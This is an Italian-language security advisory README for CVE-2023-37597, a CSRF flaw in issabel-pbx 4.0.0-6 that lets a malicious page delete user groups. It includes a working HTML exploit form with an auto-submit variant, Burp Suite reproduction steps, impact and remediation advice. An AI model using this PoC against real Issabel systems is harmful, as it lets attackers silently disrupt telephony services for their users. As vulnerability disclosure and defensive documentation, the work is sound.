
Issabel-pbx v 4.0.0-6 contiene una vulnerabilità di Cross-Site Request Forgery (CSRF) nella funzionalità di gestione dei gruppi utente.
Disclaimer: Questo repository è destinato esclusivamente a scopi educativi e di ricerca sulla sicurezza autorizzata. Non utilizzare questo exploit contro sistemi di cui non sei proprietario o per i quali non hai ricevuto esplicita autorizzazione scritta.
issabel-pbx è una piattaforma open-source di comunicazioni unificate (PBX) ampiamente utilizzata, che fornisce servizi VoIP, gestione della telefonia e amministrazione basata sul web. La versione 4.0.0-6 di issabel-pbx contiene una vulnerabilità di tipo nella funzionalità di gestione dei gruppi di utenti.
Un attaccante remoto non autenticato può creare una pagina HTML dannosa che, quando visitata da un amministratore autenticato, invia silenziosamente una richiesta HTTP POST contraffatta per eliminare qualsiasi gruppo di utenti. Poiché l'applicazione non valida l'origine delle richieste che modificano lo stato tramite token CSRF o policy dei cookie SameSite, il browser include automaticamente il cookie di sessione dell'amministratore, facendo sì che l'eliminazione riesca all'insaputa o senza il consenso della vittima.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2023-37597 |
| Vulnerabilità | Cross-Site Request Forgery (CSRF) |
| CWE | CWE-352 — Cross-Site Request Forgery (CSRF) |
| Gravità | Media |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H |
| Versione interessata | issabel-pbx 4.0.0-6 |
| Divulgazione | 10 luglio 2023 |
| Ricercatore | Sahil Ojha |
| Campo | Valore |
|---|---|
| Nome del prodotto | issabel-pbx |
| Versione | 4.0.0-6 |
| Fornitore | Issabel Foundation |
| Homepage del fornitore | https://www.issabel.org/ |
| Codice sorgente | https://github.com/IssabelFoundation/issabelPBX |
| Testato su | Windows (Burp Suite Community Edition) |
Il Cross-Site Request Forgery (CSRF) è un attacco che induce il browser della vittima a inviare una richiesta autenticata a un'applicazione target per conto dell'attaccante. L'attacco riesce quando:
Origin/Referer, nessun attributo del cookie SameSite=Strict o SameSite=Lax).L'endpoint di eliminazione dei gruppi di utenti (/index.php?menu=grouplist) in issabel-pbx 4.0.0-6 elabora richieste HTTP POST che contengono solo l'azione delete e un parametro id_user. L'applicazione non:
Origin o Referer.SameSite sui cookie di sessione.Di conseguenza, qualsiasi pagina web caricata nel browser della vittima può inviare silenziosamente il modulo di eliminazione utilizzando la sessione esistente della vittima, poiché il browser allegherà automaticamente il cookie di sessione.
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>
delete=Delete&id_user=<USER_GROUP_ID>
Avvertenza: Il seguente PoC è fornito esclusivamente a scopo educativo. Utilizzalo solo in ambienti di laboratorio o su sistemi per i quali disponi di un'autorizzazione esplicita.
Passaggio 1 — Accedi al pannello di amministrazione di Issabel
Vai alla pagina dell'elenco dei gruppi di utenti e accedi con le credenziali di amministratore.
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

Passaggio 2 — Cattura la richiesta di eliminazione
Prova a eliminare un gruppo di utenti mentre fai passare il traffico attraverso Burp Suite. Fai clic con il tasto destro sulla richiesta POST catturata e seleziona Engagement Tools → Generate CSRF PoC per generare la struttura HTML dell'exploit.

Passaggio 3 — Ospita la pagina dell'exploit CSRF
Salva l'HTML generato come file (vedi Codice exploit PoC di seguito). Ospitalo su un server controllato dall'attaccante oppure invialo direttamente alla vittima.
Passaggio 4 — La vittima apre la pagina dell'exploit
Quando l'amministratore autenticato apre o viene reindirizzato all'URL dell'exploit, il modulo nascosto viene inviato automaticamente (oppure la vittima fa clic sul pulsante esca). Il gruppo di utenti preso di mira viene eliminato dal pannello di amministrazione.


Il seguente file HTML (disponibile anche come CSRF exploit.html) dimostra l'attacco. Sostituisci {Issabel IP} con l'host di destinazione e modifica id_user in base all'ID del gruppo che desideri eliminare.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
<input type="hidden" name="delete" value="Delete" />
<input type="hidden" name="id_user" value="7" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Variante con invio automatico: Per evitare che la vittima debba fare clic su qualsiasi cosa, aggiungi quanto segue all'interno del tag
<body>così il modulo viene inviato automaticamente al caricamento della pagina:<script>document.forms[0].submit();</script>
| Dimensione | Descrizione |
|---|---|
| Integrità | Un attaccante può eliminare silenziosamente qualsiasi gruppo di utenti dal pannello di amministrazione di Issabel. |
| Disponibilità | L'eliminazione dei gruppi di utenti interrompe le regole di routing delle chiamate, il controllo degli accessi e i servizi telefonici per tutti gli utenti appartenenti a tali gruppi, configurandosi come una parziale Denial of Service. |
| Riservatezza | Non direttamente interessata da questa vulnerabilità. |
Amministratori e sviluppatori dovrebbero applicare le seguenti difese:
Implementare i token CSRF (Synchronizer Token Pattern)
Impostare l'attributo dei cookie SameSite
SameSite=Lax (minimo) o SameSite=Strict per impedire che le richieste cross-origin trasportino le credenziali di sessione.Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnlyValidare le intestazioni Origin e Referer
Origin o Referer non corrisponde al dominio dell'applicazione.Richiedere la ri-autenticazione per le azioni distruttive
Applicare la difesa in profondità
| Data | Evento |
|---|---|
| 10 luglio 2023 | Vulnerabilità scoperta e documentata da Sahil Ojha |
| 10 luglio 2023 | CVE-2023-37597 assegnato |
| 10 luglio 2023 | Divulgazione pubblica |
Sahil Ojha Ricercatore di sicurezza
Se hai trovato utile questa ricerca, non esitare a lasciare una ⭐ sul repository.